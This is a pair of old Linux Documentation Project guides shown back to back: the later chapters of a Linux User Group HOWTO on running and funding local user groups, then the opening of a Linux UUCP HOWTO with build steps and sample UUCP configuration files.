Please see Martin Michlmayr's Linux Consultants HOWTO for an international list of Linux consultants.

Businesses, non-profit organizations, and schools

LUGs also have the opportunity to support local businesses and organizations. This support has two aspects. First, LUGs can support businesses and organizations that want to use Linux as a part of their computing and IT efforts. Second, LUGs can support local businesses and organizations that develop for Linux, cater to Linux users, support or install Linux, etc.

The kinds of support that LUGs can provide to local businesses that want to use Linux as a part of their computing operations isn't really all that different from the kinds of support LUGs give to individuals who want to run Linux at home. For example, compiling the Linux kernel doesn't really vary from home to business. Supporting businesses using Linux, however, may mean that a LUG needs to concentrate on commercial software that runs on Linux, rather than concentrating solely on free software. If Linux is going to continue to maintain its momentum as a viable computing alternative, then it's going to take software vendors who are willing to write for and port to Linux as a commercially-viable platform. If local LUGs can play a role in helping business users evaluate commercial Linux solutions, then more software vendors will be encouraged to consider Linux in their development and planning.

This leads us directly to the second kind of support that a local LUG can give to local businesses. Local LUGs can serve as a clearing house for the kind of information that is available in very few other places. For example:

  • Which local ISP is Linux-friendly?
  • Are there any local hardware vendors that build Linux PCs?
  • Does anyone sell Linux CDs locally?

Maintaining and making this kind of information public not only helps the members of a local LUG, but it also helps Linux-friendly local businesses as well, and it encourages them to continue to be Linux-friendly. It may even, in some cases, help contribute to a competitive atmosphere in which other businesses are encouraged to become Linux-friendly too.

Free software development

Finally, LUGs may also support the Linux Movement by soliciting and organizing charitable giving. Chris Browne has thought about this issue as much as anyone I know, and he contributes the following.

Chris Browne on free software philanthropy

A further involvement can be to encourage sponsorship of various Linux-related organizations in a financial way. With the multiple millions of Linux users, it would be entirely plausible for grateful users to individually contribute a little. Given millions of users, and the not unreasonable sum of a hundred dollars of ``gratefulness'' per Linux user ($100 being roughly the sum not spent this year upgrading a Microsoft OS), that could add up to hundreds of millions of dollars towards development of improved tools and applications for Linux.

A users group can encourage members to contribute to various ``development projects.'' If it has some form of ``charitable tax exemption'' status, that can encourage members to contribute directly to the group, getting tax deductions as appropriate, with contributions flowing on to other organizations.

It is appropriate, in any case, to encourage LUG members to direct contributions to organizations with projects and goals that they individually wish to support.

This section lists possible candidates. None are explicitly being recommended here, but the list can represent useful ``food for thought.'' Many are registered as charities in the United States, thus making U.S. contributions tax deductible.

Here are organizations with activities particularly directed towards development of software that works with Linux:

  • Linux International Project Sponsorship Fund
  • Debian/Software In the Public Interest
  • Free Software Foundation
  • The XFree86 Project

Contributions to these organizations has the direct effect of supporting the creation of freely redistributable software usable with Linux. Dollar for dollar, such contributions almost certainly have greater effect on the Linux community as a whole than any other specific kind of spending.

There are also organizations that are less directly associated with Linux that may nonetheless be worthy of assistance, such as:

  • League for Programming Freedom

    This is not a Linux-specific organization; they are involved in general advocacy activities that touch on people involved with software development. Involvement in this organization represents something closer to involvement in a ``political lobby'' group.

    There is somewhat of a ``USA bias;'' there are nonetheless international implications, and the international community as often follows the American lead in computing-related matters as vice-versa.

  • The LaTeX3 Project Fund

    The TeX Users Group (TUG) is working on the ``next generation'' version of the LaTeX publishing system, known as LaTeX3. Linux is one of the platforms on which TeX and LaTeX are best supported.

    Donations for the project can be sent to:

    TeX Users Group
P.O. Box 1239
Three Rivers, CA 93271-1239
USA
    or, for those in Europe,
    UK TUG
1 Eymore Close
Selly Oaks
Burmingham B29 4LB
UK

  • Project Gutenberg

    Their purpose is to make freely available in electronic form the texts of out-of-copyright books. This isn't directly a ``Linux thing,'' but it seems fairly worthy, and they actively encourage platform independence, which means that their ``products'' are quite usable with Linux.

Linux Movement

I have referred throughout this HOWTO to something I call the Linux Movement. There really is no better way to describe the international Linux phenomenon than to call it a movement: it isn't a bureaucracy, but it is organized; it isn't a corporation, but it is important to businesses all over the world. The best way for a local LUG to support the international Linux movement is to work to insure that the local Linux community is robust, vibrant, and growing. Linux is developed internationally, which is easy enough to see by reading /usr/src/linux/MAINTAINERS. But Linux is also used internationally. And this ever-expanding user base is the key to Linux's continued success. And that is where the local LUG plays an incalculably important role.

The strength of the Linux Movement internationally is the simple fact that Linux offers unprecedented computing power and sophistication for its cost and for its freedom. The keys are value and independence from proprietary control. Every time a new person, group, business, or organization has the opportunity to be exposed to Linux's inherent value the Linux Movement grows in strength and numbers. Local LUGs can make that happen.

4.4 Linux socializing

The last goal of a local LUG that I will mention here is socializing. In some ways this is the most difficult goal to discuss because it is not clear how many or to what degree LUGs engage in it. While it would be strange to have a local LUG that didn't engage in the other goals, there very well may be local LUGs somewhere in the world for which socialization isn't an important consideration.

It seems, however, that whenever two or three Linux users get together fun, highjinks, and, often, beer are sure to follow. Linus Tovalds has always had one enduring goal for Linux: to have more fun. For hackers, kernel developers, and Linux users, there's nothing quite like downloading a new kernel, recompiling an old one, twittering with a window manager, or hacking some code. It is the sheer fun of Linux that keeps many LUGs together, and it is this kind of fun that leads many LUGs naturally to socializing.

By ``socializing'' here I mean primarily sharing experiences, forming friendships, and mutually-shared admiration and respect. There is another meaning, however, one that social scientists call socialization. In any movement, institution, or human community, there is the need for some process or pattern of events in and by which, to put it in Linux terms, newbies are turned into hackers. In other words, socialization turns you from ``one of them'' to ``one of us''.

For armed forces in the U.S. and in most countries, this process is called boot camp or basic training. This is the process whereby civilians are transformed into soldiers. The Linux movement has analogous requirements. It is important that new Linux users come to learn what it means to be a Linux user, what is expected of them as a member of an international community, the special vocabulary of the Linux movement, its unique requirements and opportunities. This may be as simple as how Linux users in a partcicular locale pronounce ``Linux''. It may be as profound as the ways in which Linux users should advocate, and the ways in which they should, more importantly, refrain from advocating Linux.

Linux socialization, unlike `real world' socialization, can occur on mailing lists and Usenet, although the efficacy of the latter is constantly challenged precisely by poorly socialized users. In my view, socialization and socializing are both done best in the company of real, flesh-and-blood fellow human beings, and not by incorporeal voices on a mailing list or Usenet group.


Linux User Group HOWTO: Local LUG activities

 Next Previous Contents

5. Local LUG activities

In the previous section I focused exclusively on what LUGs do and what they ought to be doing. In this section the focus shifts to practical strategies for accomplishing these goals.

There are, despite the endless permutations of form, two basic things that local LUGs do: first, they meet together in physical space; second, they communicate with each other in cyberspace. Everything or nearly everything that LUGs do can be seen in terms of meetings and online resources.

5.1 Meetings

As I said above, physical meetings are synonymous with LUGs and with most computer user groups. LUGs have these kinds of meetings:

  • social
  • technical presentations
  • informal discussion groups
  • user group business
  • Linux installation
  • configuration and bug-squashing

What do LUGs do at these meetings?

  • Install Linux for newbies and strangers
  • Teach members about Linux
  • Compare Linux to other operating systems
  • Teach members about the software that runs on Linux
  • Discuss the ways in which Linux can be advocated
  • Discuss the importance of the Free Software Movement
  • Discuss the business of the user group
  • Eat, drink, and be merry

5.2 Online resources

The commercial rise of the Internet coincided roughly with the rise of Linux, and the latter in large part owes something to the former. The Internet has always been an important asset for Linux development. It is no different for LUGs. Most LUGs have web pages if not whole Web sites. In fact, I am not sure how else to find a local LUG but to check the Web.

It makes sense, then, for a local LUG to make use of whatever Internet technologies they can appropriate: Web sites, mailing lists, gopher, FTP, e-mail, WAIS, finger, news, etc. As the world of commerce is discovering, the Internet can be an effective way to advertise, inform, educate, and even sell. The other reason that LUGs make extensive use of Internet technologies is that it is the very essence of Linux to provide a stable and rich platform for the deployment of these technologies. So not only do LUGs benefit from, say, the establishment of a Web site because it advertizes their existence and helps organize their members, but in deploying these technologies, the members of the LUG are provided an opportunity to learn about this technology and see Linux at work.

Some LUGs that use the Internet effectively:

  • Atlanta Linux Enthusiasts
  • North Texas Linux Users Group
  • Boston Linux and Unix
  • Colorado Linux Users and Enthusiasts
  • BLUG - BHZ Linux Users Group (Brazil)
  • Ottawa Carleton Linux Users Group
  • Provence Linux Users Group
  • Duesseldorf Linux Users Group
  • Linux User Group Austria
  • Israeli Linux Users Group
  • Tokyo Linux Users Group
  • Linux in Mexico
  • Netherlands Linux Users Group (NLLGG)
  • St. Petersburg Linux User Group
  • Linux User Group of Singapore
  • Victoria Linux User Group
  • Essex Linux User Group
  • Turkish Linux User Group
  • Linux User Group of Rochester
  • Korean Linux Users Group

Please let me know if your LUG uses the Internet in an important or interesting way; I'd like this list to include your group.


Linux User Group HOWTO: Practical suggestions

 Next Previous Contents

6. Practical suggestions

Finally, I want to make some very practical, even mundane, suggestions for anyone wanting to found, maintain, or grow a LUG.

6.1 LUG support organizations

There are several organizations that offer assistance to local LUGs.

GLUE

Groups of Linux Users Everywhere is a user group coordination and support program started by SSC, the same people who publish Linux Journal. The GLUE program is an inexpensive way for a local LUG to provide some benefits to its membership.

Linux Systems Labs

LSL offers their Tri-Linux Disk set (Three Linux distributions on four CDs: Red Hat, Slackware, and Debian) to LUGs for resale at a considerable discount.

Linux Mall User Group Program

Sponsored by WorkGroup Solutions, the Linux Mall User Group Program offers a range of benefits for participating User Groups. LUGs are also free to participate in Linux Mall's Referral Program as well.

Cleveland Linux User's Group

Owns the Internet domain, lug.net. They will provide your LUG an Internet domain name at lug.net: your-LUG-name-or-citylug.net. More information may be found at LUG.NET or by e-mailing Jeff Garvas.

Red Hat Software's User Group Program

Assists LUGs to develop and grow. More information may be found at Red Hat Web site

6.2 Founding a LUG

  • Determine the nearest pre-existing LUG
  • Announce your intentions on comp.os.linux.announce and on an appropriate regional hierarchy
  • Announce your intention wherever computer users are in your area: bookstores, swap meets, cybercafes, colleges and universities, corporations, Internet service providers, etc.
  • Find Linux-friendly businesses or institutions in your area that may be willing to help you form the LUG
  • Form a mailing list or some means of communication between the people who express an interest in forming a LUG
  • Ask key people specifically for help in spreading the word about your intention to form a LUG
  • Solicit space on a Web server to put a few HTML pages together about the group
  • Begin looking for a meeting place
  • Schedule an initial meeting
  • Discuss at the initial meeting the goals for the LUG

6.3 Maintaining and growing a LUG

  • Make the barriers to LUG membership as low as possible
  • Make the LUG's Web site a priority: keep all information current, make it easy to find details about meetings (who, what, and where), and make contact information and feedback mechanisms prominent
  • Install Linux for anyone who wants it
  • Post flyers, messages, or handbills wherever computer users are in your area
  • Secure dedicated leadership
  • Follow Linus's benevolent dictator model of leadership
  • Take the big decisions to the members for a vote
  • Start a mailing list devoted to technical support and ask the ``gurus'' to participate on it
  • Schedule a mixture of advanced and basic, formal and informal, presentations
  • Support the software development efforts of your members
  • Find way to raise money without dues: for instance, selling Linux merchandise to your members and to others
  • Consider securing formal legal standing for the group, such as incorporation or tax-exempt status
  • Find out if your meeting place is restricting growth of the LUG
  • Meet in conjunction with swap meets, computer shows, or other community events where computer users---i.e., potential Linux converts---are likely to gather
  • Elect formal leadership for the LUG as soon as is practical: some helpful officers might include President, Treasurer, Secretary, Meeting Host (general announcements, speaker introductions, opening and closing remarks, etc.), Publicity Coordinator (handles Usenet and e-mail postings, local publicity), and Program Coordinator (organizes and schedules speakers at LUG meetings)
  • Provide ways for members and others to give feedback about the direction, goals, and strategies of the LUG
  • Support Linux and Free Software development efforts by donating Web space, a mailing list, or FTP site
  • Establish an FTP site for relevant software
  • Archive everything the LUG does for the Web site
  • Solicit ``door prizes'' from Linux vendors, VARs, etc. to give away at meetings
  • Give credit where credit is due
  • Join SSC's GLUE (Groups of Linux Users Everywhere) but be aware they charge a membership fee
  • Submit your LUG's information to all of the Lists of LUGs
  • Publicize your meetings on appropriate Usenet groups and in local computer publications and newspapers
  • Compose promotional materials, like Postscript files, for instance, that members can use to help publicize the LUG at workplaces, bookstores, computer stores, etc.
  • Make sure you know what LUG members want the LUG to do
  • Release press releases to local media outlets about any unusual LUG events like an Installation Fest, Net Day, etc.
  • Use LUG resources and members to help local non-profit organizations and schools with their Information Technology needs
  • Advocate the use of Linux zealously but responsibly
  • Play to the strengths of LUG members
  • Maintain good relations with Linux vendors, VARs, developers, etc.
  • Identify and contact Linux consultants in your area
  • Network with the leaders of other LUGs in your area, state, region, or country to share experiences, tricks, and resources
  • Keep LUG members advised on the state of Linux software---new kernels, bugs, fixes, patches, security advisories---and the state of the Linux world at large---new ports, trademark and licensing issues, where Linus is living and working, etc.
  • Notify the Linux Documentation Project---and other pertinent sources of Linux information---about the documentation that the LUG produces: technical presentations, tutorials, local HOWTOs, etc.


Linux User Group HOWTO: Legal and political issues

 Next Previous Contents

7. Legal and political issues

7.1 Legal issues

7.2 United States

There is a strong case to be made for formal organization of local LUGs. I will not make that case here. If, however, you are interested in formally organizing your local LUG, then this section will introduce you to some of the relevant issues.

Note: this section should not be construed as competent legal counsel. These issues require the expertise of competent legal counsel; you should, before acting on any of the statements made in this section, consult an attorney.

There are at least two different legal statuses that a local LUG in the United States may attain:

  1. incorporation as a non-profit entity
  2. tax-exemption

Although the relevant statutes differ from state to state, most states allow user groups to incorporate as non-profit entitites. The benefits of incorporation for a local LUG may include limitations of liability of LUG members and volunteers, as well as limitation or even exemption from state corporate franchise taxes.

While you should consult competent legal counsel before incorporating your LUG as a non-profit entity, you can probably reduce your legal fees if you are acquainted with the relevant issues before consulting with an attorney. I recommend the Non-Lawyers Non-Profit Corporation Kit (ISBN 0-937434-35-3).

As for the second status, tax-exemption, this is not a legal status so much as a judgment by the Internal Revenue Service. It is important for you to know that incorporation as a non-profit entity does not insure that the IRS will rule that your LUG is to be tax-exempt. It is possible to have a non-profit corporation that is not also tax-exempt.

The IRS has a relatively simple document that explains the criteria and process for tax-exemption. It is Publication 557: Tax-Exempt Status for Your Organization. It is available as an Adobe Acrobat file from the IRS's Web site. I strongly recommend that you read this document before filing for incorporation as a non-profit entity. While becoming a non-profit corporation cannot insure that your LUG will be declared tax-exempt by the IRS, there are ways to incorporate that will prevent the IRS from declaring your LUG to be tax-exempt. Tax-Exempt Status for Your Organization clearly sets out the necessary conditions for your LUG to be declared tax-exempt.

Finally, there are resources available on the Internet for non-profit and tax-exempt organizations. Some of the material is probably relevant to your local LUG.

7.3 Canada

Thanks to Chris Browne for the following comments about the Canadian situation.

The Canadian tax environment strongly parallels the US environment, in that the ``charitable organization'' status confers similar tax advantages for donors over mere ``not for profit'' status, while requiring that similar sorts of added paperwork be filed by the ``charity'' with the tax authorities in order to attain and maintain certified charity status.

7.4 Political issues

Chris Browne has the following to say about the kinds of inter-LUG political dynamics that often crop up.

People have different feelings about free software.

Linux users are a diverse bunch. As soon as you try to put a lot of them together, there are some problem issues that can come up.There are those that are nearly political radicals that believe that all software, always, should be ``free.'' Because Caldera charges quite a lot of money for their distribution, and doesn't give all profits over to (pick favorite advocacy organization), they must be ``evil.'' Ditto for Red Hat or S.u.S.E. Keep in mind that all three of these companies have made and continue to make significant contributions to free software.

Others may figure that they can find some way to highly exploit the ``freeness'' of the Linux platform for their fun and profit. Be aware that many users of the BSD UNIX variants consider that their licenses that do permit companies to build ``privatized'' custom versions of their OSes are preferable to the ``enforced permanent freeness'' of the GPL as applied to Linux. Do not presume that all people promoting this sort of view are necessarily greedy leeches.

If these people are put together in one place, disagreements can occur.

Leaders should be clear on the following facts:

  • There are a lot of opinions about the GPL and how it is supposed to work. It is easy to misunderstand both the GPL and alternative licensing schemes.
  • Linux benefits from contributions from many places, and can support some freeloaders, particularly if this encourages more people to get involved, thus pulling in further contributors.
  • Many significant contributions have been made to Linux by commercial enterprises. Examining the sources to the Linux kernel, and notable subsystems such as XFree86 and GCC show a surprising number of commercial contributors.
  • Commercial does not always imply ``better,'' but it also does not always imply ``horrible.''

The main principle can be extended well beyond this; computer ``holy wars'' have long been waged over the virtues of one system over another, whether that be (in modern day) between Linux, other UNIX variants, and Microsoft OSes, or between the ``IBM PC'' and the various Motorola 68000-based systems, or between the many 8 bit systems of the 1970s. Or of KDE versus GNOME.

A wise LUG leader will seek to smooth over such differences, rather than inciting them. LUG leaders must have thick skins.

There will be disagreements at some point as diverse views collide with one another, and leaders must be able to cope with this, resolving disagreements rather than contributing to the problem.

Nonprofit organizations and money don't mix terribly well.

It is important to be quite careful in dealing with finances in a nonprofit organization of any sort. In businesses, where profitable flows of monies are the goal, people are not typically too worried about ``nagging details'' such as possible misspending of immaterial sums of money.

The same cannot be said about nonprofit organizations. Some people are involved for reasons of principle, and can easily give minor problems inordinate attention. And the potential for wide participation at business meetings correspondingly expands the potential for inordinate attention to be drawn to things.

As a result, it is probably preferable for there to not be a membership fee for a LUG, as that provides a specific thing for which people can reasonably demand accountability. Fees that are not collected cannot, by virtue of the fact that they don't exist, be misused.

If there is a lot of money and/or other such resources floating around, it is important for the user group to be accountable to its members for it.

In a vital, growing group, there should be more than one person involved. In troubled nonprofit organizations, financial information is often tightly held by someone who will not willingly relinquish control of funds. Ideally, there should be some rotation of duties in a LUG including that of control of the finances.

Regular useful financial reports should be made available to those that wish them. A LUG that maintains an official ``charitable status'' for tax purposes will have to file at least annual financial reports with the local tax authorities, which would represent a minimum financial disclosure for the purposes of the members.

With the growth of Linux-based financial software, it should be readily possible to create reports on a regular basis. With the growth of the Internet, it should even be possible to publish these on the World Wide Web.


Linux User Group HOWTO: About this document

 Next Previous Contents

8. About this document

8.1 Terms of use

Copyright (c) 1997 by Kendall Grant Clark. This document may be distributed under the terms set forth in the LDP license at http://sunsite.unc.edu/LDP/COPYRIGHT.html.

8.2 New versions

New versions of the Linux User Group HOWTO will be periodically uploaded to various Linux WWW and FTP sites, principally my homepage and the Linux Documentation Project

8.3 Please contribute to this HOWTO

I welcome questions about and feedback on this document. Please send them to me at kclark@cmpu.net. I am especially interested in hearing from leaders of LUGs from around the world. I would like to include real-life examples of the things described here. I would also like to include a section on LUGs outside the United States, since this HOWTO as it stands now is rather US-centric. Please let me know if your group does things that should be mentioned in this HOWTO.

8.4 Document history

  • 1.0 released on 13 July 1997
  • 1.1: expanded online resources section
  • 1.3: added LUG Support Organizations and expanded the Legal and Organizational Issues section
  • 1.3.1: general editing for clarity and conciseness
  • 1.4: general editing, added new LUG resources
  • 1.4.1: general editing for clarity
  • 1.5: added some resources, some discussion of LUG documentation, also general editing
  • 1.5.1: changed Web location for this document and author's email address.
  • 1.5.2: new copyright and license
  • 1.5.3: miscellaneous edits and minor re-organizations
  • 1.6: added Chris Browne's material: Linux philanthropic donations and LUG political considerations
  • 1.6.1: very minor additions
  • 1.6.2: minor corrections

8.5 Acknowledgements

I want to thank all the great people I've met and worked with during the time I've served as President of the North Texas Linux Users Group. They helped inspire me to use Linux full-time. The best thing about Linux really is the people you meet.

I especially want to thank Chris Browne for describing the situation with non-profit and charitable groups in Canada, his thoughts on financial donations as a way to participate in Linux and the free software movement, and his ideas about the kinds of political issues that may arise within LUGs.

In addition, the following people have made helpful comments and suggestions:

  • Hugo van der Kooij
  • Greg Hankins
  • Charles Lindahl
  • Rick Moen
  • Jeff Garvas
  • James Hertzler


The Linux UUCP HOWTO

Guylhem Aznar <guylhem at metalab.unc.edu>

v2.0.1, 2001-12-01

This document describes the setup, care & feeding of UUCP under Linux. You need to read this if you plan to connect to remote sites via UUCP via a modem, via a direct-connection, or via Internet. You probably do *not* need to read this document if don't talk UUCP or if you don't know what it means.

1. Introduction, copyright & standard disclaimer

  • 1.1 Email & spamming
  • 1.2 Goals
  • 1.3 New versions
  • 1.4 Feedback
  • 1.5 Copyright
  • 1.6 Limited warranty

2. Other sources of information

  • 2.1 USENET
  • 2.2 Mailing Lists
  • 2.3 Other documents from LDP
  • 2.4 Books

3. Requirements

  • 3.1 Hardware
  • 3.2 Software

4. Setting up the config files

  • 4.1 Installing config. files
  • 4.2 "Poll" file
  • 4.3 "call" file
  • 4.4 "config" file
  • 4.5 "crontab" file
  • 4.6 "dial" file
  • 4.7 "passwd" file
  • 4.8 "port" file
  • 4.9 "sys" file
  • 4.10 Now let's test all this
  • 4.11 Additional informations

5. It doesn't work - now what?

6. Frequently Asked Questions about Linux UUCP

  • 6.1 Why is all the info here for UUCPs configured in "Taylor" rather than
  • 6.2 Why do I get "timeout" on connections when I upgraded to uucp-1.04?
  • 6.3 Why doesn't HDB anonymous uucp seem to work?
  • 6.4 What does "no matching ports found" mean?
  • 6.5 What are known good config files for HDB mode?
  • 6.6 Getting uucico to call alternate numbers

7. Acknowledgements


The Linux UUCP HOWTO: Introduction, copyright & standard disclaimer

 Next Previous Contents

1. Introduction, copyright & standard disclaimer

1.1 Email & spamming

First, convert all "at" in Emails addresses given in this document into "@".

It's simple for humans, but not for bots searching the web to spam ; therefore it's enough to protect generous contributors from being spammed.

1.2 Goals

The intent of this document is to answer some of the questions & comments that appear to meet the definition of "frequently asked questions" about UUCP software under Linux genrally & the version in the Linux Debian and RedHat distributions in particular.

1.3 New versions

New versions of this document will be periodically posted to comp.os.linux.announce, comp.answers & news.answers. They will also be added to the various anonymous ftp sites who archive such information including sunsite FTP.

In addition, you should be generally able to find this document on the Linux WorldWideWeb home page at the LDP page.

1.4 Feedback

I am interested in any feedback (please e-mail), positive or negative, regarding the content of this document. Definitely contact me if you find errors or obvious omissions.

I read, but do not necessarily respond to, all e-mail I receive. Requests for enhancements will be considered & acted upon based on that day's combination of available time, merit of the request & daily blood pressure :-)

Flames will quietly go to /dev/null so don't bother.

Feedback concerning the actual format of the document should go to the HOWTO coordinator: Greg Hankins (gregh at sunsite.unc.edu).

1.5 Copyright

The UUCP-HOWTO is copyrighted (c)1997 Guylhem Aznar. It is distributed under the GNU Free Documentation License. You should have received a copy along with this document, but if not you can find it at http//www/fsf.org/licenses/fdl.html.

If you have questions, please contact the LDP via feedback@linuxdoc.org.

1.6 Limited warranty

Of course, I disavow any potential liability for the contents of this document. Use of the concepts, examples, &/ or other content of this document is entirely at your own risk.


The Linux UUCP HOWTO: Other sources of information

 Next Previous Contents

2. Other sources of information

2.1 USENET

There is nothing "special" about configuring & running UUCP under Linux (any more). Accordingly, you almost certainly do *NOT* want to be posting generic UUCP-related questions to the comp.os.linux.* newsgroups.

Don't post in comp.os.linux hierarchy unless it's really linux specific, for example: "What's wrong with Debian 1.2 uucp?" or "RedHat 5.0 uucp crashes when I run it" ...

Let me repeat that.

There is virtually no reason to post anything uucp-related in the comp.os.linux hierarchy any more. There are existing newsgroups in the comp.mail.* hierarchy to handle *ALL* your questions.

IF YOU POST TO COMP.OS.LINUX.* FOR NON-LINUX-SPECIFIC QUESTIONS, YOU ARE LOOKING IN THE WRONG PLACE FOR HELP. THE UUCP EXPERTS HANG OUT IN THE PLACES INDICATED ABOVE AND GENERALLY DO NOT RUN LINUX.

POSTING TO THE LINUX HIERARCHY FOR NON-LINUX-SPECIFIC QUESTIONS WASTES YOUR TIME AND EVERYONE ELSE'S AND IT FREQUENTLY DELAYS YOU FROM GETTING THE ANSWER TO YOUR QUESTION.

The GOOD PLACE is comp.mail.uucp since you can get answers for most of your UUCP questions.

2.2 Mailing Lists

There is a Taylor UUCP mailing list.

To join (or get off) the list, send mail to

              taylor-uucp-request@gnu.ai.mit.edu

This request goes to a person, not to a program, so please make sure that you include the address at which you want to receive mail in the text of the message.

To send a message to the list, send it to

             taylor-uucp@gnu.ai.mit.edu

2.3 Other documents from LDP

There is plenty of exceptional material provided in the other Linux HOWTO documents & from the Linux DOC project.

In particular, you might want to take a look at the following:

  • on your own computer in /usr/doc/uucp & /usr/info/uucp* :-)
  • the Linux Networking Administrators' Guide
  • the Serial Communications HOWTO
  • the Ethernet HOWTO
  • the News HOWTO
  • the Mail HOWTO

2.4 Books

HDB & V2 versions of UUCP are documented in about every vendor's documentation as well as in almost all *nix communications books.

Taylor config. files are currently only documented in the info files provided with the sources (& in your distribution hopefully). The following is a non-inclusive set of books that will help.

  • "Managing UUCP & USENET" from O'Reilly & Associates is in my opinion the best book out there for figuring out the programs & protocols involved in being a USENET site.
  • "Unix Communications" from The Waite Group contains a nice description of all the pieces (& more) & how they fit together.
  • "Practical Unix Security" from O'Reilly & Associates has a nice discussion of how to secure UUCP.
  • "The Internet Complete Reference" from Osborne is a fine reference book that explains the various services available on Internet & is a great source for information on news, mail & various other Internet resources.
  • "The Linux Networking Administrators' Guide" from Olaf Kirch of the Linux DOC Project is available on the net & is also published by (at least) O'Reilly & SSC. It makes a fine one-stop shopping to learn about everything you ever imagined you'd need to know about Unix networking.


The Linux UUCP HOWTO: Requirements

 Next Previous Contents

3. Requirements

3.1 Hardware

There are no specific hardware requirements for UUCP under Linux. Basically any Hayes-compatible modem works painlessly with UUCP.

In most cases, you'll want the fastest modem you can afford, i.e. 56000 bps actually. In general, you want to have a 16550 UART on your serial board or built into your modem to handle speeds of above 9600 baud.

If you don't know what that last sentence means, please consult the comp.dcom.modems group or the various fine modem & serial communications FAQs & periodic postings on USENET.

3.2 Software

UUCP for linux is available everywhere, for example on sunsite.unc.edu. But before trying to get any version, try to install & make your current uucp work ; there're many little differences between each linux distribution, therefore it's easier for you to configure/install your distribution's UUCP package rather than editing sources for some options, setting the right paths & permissions, installing, etc.

But if you prefer sources ...

1) Unpack

To extract a gzip'd tar archive, I do the following:

                gunzip -c filename.tar.z | tar xvf -
A "modern" tar can just do a:
               tar -zxvf filename.tgz

2) Run "configure"

Type "sh configure".

The configure script will compile a number of test programs to see what is available on your system & will calculate many things.

The configure script will create conf.h from conf.h.in & Makefile from Makefile.in. It will also create config.status, which is a shell script which actually creates the files.

3) Decide where to install

Rather than editing the Makefile.in file in the sources you can get the same effect by:

        "configure --prefix=/usr/lib"

4) Edit "policy.h" for your local system

  • - set the type of lockfiles you want (HAVE_HDB_LOCKFILES)
  • - set the type of config files you want built in (HAVE_TAYLOR_CONFIG, HAVE_V2_CONFIG, HAVE_HDB_CONFIG)
  • - set the type of spool directory structure you want (SPOOLDIR_HDB)
  • - set the type of logging you want (HAVE_HDB_LOGGING)
  • - set the default search path for commands (I added /usr/local/bin to mine)

5) Then compile & install the software

  • Type "make" to compile.
  • Type "make install" to install.


The Linux UUCP HOWTO: Setting up the config files

 Next Previous Contents

4. Setting up the config files

I recommend you start by installing the attached known-good config. files included in the document.

4.1 Installing config. files

Put these file in their "standard" location: /etc/uucp on recent linux distributions or /usr/lib/uucp on older ones.

Then make sure that the permissions of the files are

(guylhem@barberouge:uucp)$ ls -l
total 11
-rw-r--r--   1 uucp     uucp          501 Jan 23 11:33 Poll
-rw-r-----   1 uucp     uucp          589 Jan 23 11:34 call
-rw-r-----   1 uucp     uucp         1184 Jan 23 12:06 config
-rw-r-----   1 uucp     uucp          476 Jan 23 12:31 crontab
-rw-r-----   1 uucp     uucp         1256 Jan 23 11:47 dial
-rw-r-----   1 uucp     uucp          486 Jan 23 11:48 passwd
-rw-r-----   1 uucp     uucp          810 Jan 23 11:55 port
-rw-r--r--   1 uucp     uucp         1690 Jan 23 12:04 sys
(guylhem@barberouge:uucp)$

To change file owner, as root, type:

(root@barberouge:uucp)$ chown uucp.uucp *

Then you must change file permissions; as root once again, type:

(root@barberouge:uucp)# chmod 640 *
(root@barberouge:uucp)# chmod +r Poll sys

4.2 "Poll" file

This file is used to set polling timetables for any system.

schedule polux 01
poll     polux 01

My machine calls polux at 01:00, that's all!

You can add more line if you must call many other machines, but don't forget to put the 2 lines (schedule & poll) for each.

4.3 "call" file

It contains your login/password for each system you poll:

polux uudan password

My machine uses "uudan" login & "password" password :-) when it polls "polux".

As for Poll, adapt this to your situation.

4.4 "config" file

nodename barberouge                     # The UUCP name of this system

spool /var/spool/uucp                   # The UUCP spool directory
pubdir /var/spool/uucppublic            # The UUCP public directory
logfile /var/log/uucp/log               # The UUCP log file
statfile /var/log/uucp/stats            # The UUCP statistics file
debugfile /var/log/uucp/debug           # The UUCP debugging file

#sysfile        /etc/uucp/sys           # Default "sys"
#portfile       /etc/uucp/port          # Default "port"
#dialfile       /etc/uucp/dial          # Default "dial"
#dialcodefile   /etc/uucp/dialcode      # Default "dialcode"
#callfile       /etc/uucp/call          # Default "call"
#passwdfile     /etc/uucp/passwd        # Default "passwd"

# No commands may be executed by unknowns (empty list of permitted commands)
# Upload is authorized in /var/spool/uucp
unknown commands
unknown pubdir /var/spool/uucp
unknown remote-send ~ !~/upload
unknown remote-receive ~/upload

Here just replace "barberouge" by your system name ; run "hostname" if you can't remind it.

4.5 "crontab" file

# Every day just before morning generate reports.
#
0 7 * * *     /usr/lib/uucp/uudemon.day root
#
# Every hour start the uudemon.hr. To actually poll a remote system,
# enter its name in /etc/uucp/Poll. You are encouraged to change the "8".
#
8 * * * *      /usr/lib/uucp/uudemon.hr

Just run "crontab -u uucp /etc/uucp/crontab" to add it to the others crontabs.

4.6 "dial" file

# 1) expect nothing (i.e., continue with step 2)
# 2) send "ATZ", then a carriage return, then sleep for 1 to 2 seconds.
# The \c means to not send a final carriage return.
# 3) wait until the modem echoes "OK", then do the the same for "ATX4" & "OK"
# 4) send "ATDT", then the telephone number (after translating any dialcodes).
# 5) wait until the modem echoes "CONNECT"
# 6) if we get "BUSY", "NO CARRIER" ... during the chat script we abort dialing
# 7) when the call is over, we make sure we hangup the modem

dialer hayes
chat "" ATZ\r\d\c OK\r \dATX4\r\d\c OK\r ATDT\D CONNECT
chat-fail RING
chat-fail NO\sCARRIER
chat-fail ERROR
chat-fail NO\sDIALTONE
chat-fail BUSY
chat-fail NO\sANSWER
chat-fail VOICE
complete \d\d+++\d\dATH\r\c
abort \d\d+++\d\dATH\r\c

# You can also add other dialers: inetd, nullmodem ...
#dialer nullmodem
#complete \d\dexit\r\c
#abort \d\dexit\r\c

Syntax is complicated ... you'd rather not touch anything here but "ATZ" & "ATX4" which are my modem init string.

4.7 "passwd" file

#uuguest                guestpassword

If you allow uucp dialin, just add system/passwords in this file.

It's *that* simple.

But it's recommended for security reasons to make sure each have a separate account & home directory so you can track things.

4.8 "port" file

# Description for the modem entry
# Debianers, make SURE this device is root:dialout, mode 0660 (crw-rw---)

port ACU
type modem
device /dev/ttyS0
dialer hayes
speed 57600
# hardflow n

# Description for the TCP port - pretty trivial. DON'T DELETE.
# Change service number if non standard, cf /etc/services

port TCP
type tcp
#service 540

# Description for the nullmodem entry
# (ttyS1 means COM2)

port nullmodem
type direct
device /dev/ttyS1
dialer nullmodem
speed 115200

You shouldn't change anything here ... except your modem port.

